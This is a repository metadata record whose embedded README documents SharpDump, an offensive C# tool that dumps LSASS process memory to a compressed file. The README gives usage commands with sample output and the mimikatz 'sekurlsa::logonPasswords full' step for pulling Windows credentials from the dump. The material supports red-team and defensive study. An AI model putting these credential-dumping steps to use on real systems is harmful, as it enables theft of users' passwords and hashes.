{"id":13537822,"url":"https://github.com/ghostpack/sharpdump","last_synced_at":"2025-06-10T09:06:30.821Z","repository":{"id":37405500,"uuid":"142192881","full_name":"GhostPack/SharpDump","owner":"GhostPack","description":"SharpDump is a C# port of PowerSploit's Out-Minidump.ps1 functionality.","archived":false,"fork":false,"pushed_at":"2019-02-07T02:52:20.000Z","size":11,"stargazers_count":666,"open_issues_count":0,"forks_count":130,"subscribers_count":26,"default_branch":"master","last_synced_at":"2025-04-02T04:35:52.357Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/GhostPack.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2018-07-24T17:42:19.000Z","updated_at":"2025-03-29T02:08:38.000Z","dependencies_parsed_at":"2022-08-02T22:00:43.246Z","dependency_job_id":null,"html_url":"https://github.com/GhostPack/SharpDump","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/GhostPack%2FSharpDump","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/GhostPack%2FSharpDump/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/GhostPack%2FSharpDump/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/GhostPack%2FSharpDump/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/GhostPack","download_url":"https://codeload.github.com/GhostPack/SharpDump/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/GhostPack%2FSharpDump/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":259043764,"owners_count":22797161,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-01T09:01:04.044Z","updated_at":"2025-06-10T09:06:30.797Z","avatar_url":"https://github.com/GhostPack.png","language":"C#","funding_links":[],"categories":["\u003ca id=\"9eee96404f868f372a6cbc6769ccb7f8\"\u003e\u003c/a\u003e新添加的","\u003ca id=\"9eee96404f868f372a6cbc6769ccb7f8\"\u003e\u003c/a\u003e工具"],"sub_categories":["\u003ca id=\"31185b925d5152c7469b963809ceb22d\"\u003e\u003c/a\u003e新添加的"],"readme":"# SharpDump\r\n\r\n----\r\n\r\nSharpDump is a C# port of [PowerSploit's Out-Minidump.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1) functionality. The [MiniDumpWriteDump](https://docs.microsoft.com/en-us/windows/desktop/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump) Win32 API call is used to create a minidump for the process ID specified (LSASS by default) to C:\\Windows\\Temp\\debug\u003cPID\u003e.out, GZipStream is used to compress the dump to C:\\Windows\\Temp\\debug\u003cPD\u003e.bin (.gz format), and the original minidump file is deleted.\r\n\r\n[@harmj0y](https://twitter.com/harmj0y) is the primary author of this port.\r\n\r\nSharpDump is licensed under the BSD 3-Clause license.\r\n\r\n## Usage\r\n\r\nDump LSASS:\r\n\r\n    C:\\Temp\u003eSharpDump.exe\r\n\r\n    [*] Dumping lsass (808) to C:\\WINDOWS\\Temp\\debug808.out\r\n    [+] Dump successful!\r\n\r\n    [*] Compressing C:\\WINDOWS\\Temp\\debug808.out to C:\\WINDOWS\\Temp\\debug808.bin gzip file\r\n    [*] Deleting C:\\WINDOWS\\Temp\\debug808.out\r\n\r\n    [+] Dumping completed. Rename file to \"debug808.gz\" to decompress.\r\n\r\n    [*] Operating System : Windows 10 Enterprise N\r\n    [*] Architecture     : AMD64\r\n    [*] Use \"sekurlsa::minidump debug.out\" \"sekurlsa::logonPasswords full\" on the same OS/arch\r\n\r\n\r\nDump a specific process ID:\r\n\r\n    C:\\Temp\u003eSharpDump.exe 8700\r\n\r\n    [*] Dumping notepad++ (8700) to C:\\WINDOWS\\Temp\\debug8700.out\r\n    [+] Dump successful!\r\n\r\n    [*] Compressing C:\\WINDOWS\\Temp\\debug8700.out to C:\\WINDOWS\\Temp\\debug8700.bin gzip file\r\n    [*] Deleting C:\\WINDOWS\\Temp\\debug8700.out\r\n\r\n    [+] Dumping completed. Rename file to \"debug8700.gz\" to decompress.\r\n\r\n## Compile Instructions\r\n\r\nWe are not planning on releasing binaries for SharpDump, so you will have to compile yourself :)\r\n\r\nSharpDump has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606\u0026clcid=0x409). Simply open up the project .sln, choose \"release\", and build.\r\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fghostpack%2Fsharpdump","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fghostpack%2Fsharpdump","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fghostpack%2Fsharpdump/lists"}